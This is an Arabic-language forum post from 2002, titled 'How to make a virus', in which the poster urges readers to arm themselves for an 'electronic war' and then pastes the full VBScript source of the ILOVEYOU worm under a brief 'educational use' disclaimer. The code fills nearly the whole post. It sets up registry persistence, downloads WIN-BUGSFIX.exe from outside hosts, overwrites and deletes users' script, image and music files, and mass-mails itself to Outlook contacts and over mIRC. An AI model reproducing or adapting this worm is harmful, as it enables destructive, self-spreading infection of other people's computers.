المحضار مرآة عصره (( رياض باشراحيل ))مركز تحميل سقيفة الشباميحملة الشبامي لنصرة الحبيب صلى الله عليه وسلم
مكتبة الشباميسقيفة الشبامي في الفيس بوكقناة تلفزيون الشبامي

العودة   سقيفة الشبامي > التقنيه والعلوم > سقيفة البرامج وصيانة الحاسب
التعليمـــات روابط مفيدة Community التقويم مشاركات اليوم البحث


كيف تصنع فيروساً

سقيفة البرامج وصيانة الحاسب


إضافة رد
 
أدوات الموضوع انواع عرض الموضوع
قديم 04-27-2002, 11:20 AM   #1
حائك الأحلام
حال جديد

كيف تصنع فيروساً

إلى الأخوة الأعزاء ..
ارجو ان تتقبلو مني هذا النوع من المشاركات .. فنحن مقبلون على حرب إعلامية إلكترونية .. يجب علينا أن نتسلح بكل ماأوتينا من معرفة
لخدمة هذا الدين .
ارفق لكم هذه المشاركة والتي تحوي نص المصدر source code للفيروس الشهير ILOVEU او مايسمى بفيروس الحب

صمم هذا الفيروس عن طريق Onel de Guzman والملقب بـ spyder
وقد كتبت شفرة هذا الفيروس باستخدام //////////S - Visual Basic Script
انطلق هذا الفيروس في الرابع من مايو سنة 2000 ليلحق الضرر بملايين
الحاسبات بسرعة مذهلة معتمدا على فجوة في نظام الحماية Security hole في برنامج Microsoft Outlook.

ارجو استخدام هذا الكود للاغراض التعليمية وعدم المخاطرة في استخدامه مع وجود برامج مضادة له . ولكن من باب اخذ الحيطة والحذر.
هذا ولكم جزيل الشكر


rem barok -loveletter(//////////e) <i hate go to school>
rem by: spyder / [email protected] / @GRAMMERSoft Group /
Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,//////////scopy,d ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
//////////scopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Windows Scripting
Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.//////////s")
c.Copy(dirwin&"\Win32DLL.//////////s")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.//////////s")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\MSKernel32
",dirsystem&"\MSKernel32.//////////s"
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\RunServices\Wi
n32DLL",dirwin&"\Win32DLL.//////////s"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Micros oft\Internet
Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGb//////////mKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198//////////FV5hfFEkbopBdQZnm
POhfgER67b3//////////vg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237 461234iuy7thjg/WIN-BUGSFIX
.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\WIN-BUGSFI
X",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start
Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="//////////s") or (ext="//////////e") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write //////////scopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")
or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write //////////scopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".//////////s")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write //////////scopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".//////////s")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".//////////s")
mp3.write //////////scopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or
(s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.i ni")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,
if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick
"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega d
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\M icrosoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\ Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = //////////crlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.//////////s")
male.Send
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead ,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Count
else
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META
NAME=@-@Generator@-@ CONTENT=@-@BAROK //////////S - LOVELETTER@-@>"&//////////crlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? [email protected] ?-?
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&//////////crlf& _
"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is
good...@-@>"&//////////crlf& _
"<?-?HEAD><BODY
ONMOUSEOUT=@[email protected]=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
-#,#-#main#-#)@-@ "&//////////crlf& _
"ONKEYDOWN=@[email protected]=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&//////////crlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read
this HTML file<BR>- Please press #-#YES#-# button to Enable
ActiveX<?-?p>"&//////////crlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@
BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>
"&//////////crlf& _
"<?-?BODY><?-?HTML>"&//////////crlf& _
"<SCRIPT language=@-@JScript@-@>"&//////////crlf& _
"<!--?-??-?"&//////////crlf& _
"if (window.screen){var wi=screen.availWidth;var
hi=screen.availHeight;window.moveTo(0,0);window.re sizeTo(wi,hi);}"&//////////crlf& _
"?-??-?-->"&//////////crlf& _
"<?-?SCRIPT>"&//////////crlf& _
"<SCRIPT LANGUAGE=@-@//////////Script@-@>"&//////////crlf& _
"<!--"&//////////crlf& _
"on error resume next"&//////////crlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit "&//////////crlf& _
"aw=1"&//////////crlf& _
"code="
dta2="set fso=CreateObject(@[email protected]@-@)"&//////////crlf& _
"set dirsystem=fso.GetSpecialFolder(1)"&//////////crlf& _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39 ))"&//////////crlf& _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(3 4))"&//////////crlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(9 2))"&//////////crlf& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.//////////s@-@)"&//////////crlf& _
"wri.write code4"&//////////crlf& _
"wri.close"&//////////crlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.//////////s@-@)) then"&//////////crlf& _
"if (err.number=424) then"&//////////crlf& _
"aw=0"&//////////crlf& _
"end if"&//////////crlf& _
"if (aw=1) then"&//////////crlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&//////////crlf& _
"window.close"&//////////crlf& _
"end if"&//////////crlf& _
"end if"&//////////crlf& _
"Set regedit = CreateObject(@[email protected]@-@)"&//////////crlf& _
"regedit.RegWrite
@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Ru
n^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.//////////s@-@"&//////////crlf& _
"?-??-?-->"&//////////crlf& _
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,//////////crlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr( 91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr (93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr( 37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&//////////crlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,//////////crlf)
d.write //////////crlf
d.write dt6
d.close
end sub


للمعلومية هذا هو النص الأصلي للفيروس .
  رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)


تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة

الانتقال السريع

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
جميع قصائد اخوكم/ عبد الله الجعيدي عبدالله الجعيدي سقيفة عذب القوافي 60 06-18-2012 12:06 PM
ياخسارة ياخسارة ياخسارة ياخسارة ياخسارة ياخسارة ياخسارة ياخسارة ياخسارة عبدالله الجعيدي سقيفة عذب القوافي 53 01-03-2012 05:52 PM
كيف سيعود اليض وعلى اكتاف من ؟؟؟ الخاتم* سقيفة الحوار السياسي 17 07-19-2011 08:12 AM
أروع الأناشيد التي استمعت لها انشودة آه يازمن كيف محبة تنتهي كيف المشاعر بين الأحباب قلب مات سقيفة إسلاميات 0 06-02-2011 07:15 PM
الجنوب الجديد (66 سؤال وجواب) للجنوبي / علي هيثم الغريب، حد من الوادي سقيفة الأخبار السياسيه 0 10-29-2010 12:35 AM


Loading...


Powered by vBulletin® Version 3.8.9, Copyright ©2000 - 2024, Jelsoft Enterprises Ltd. TranZ By Almuhajir
Ads Management Version 3.0.1 by Saeed Al-Atwi

new notificatio by 9adq_ala7sas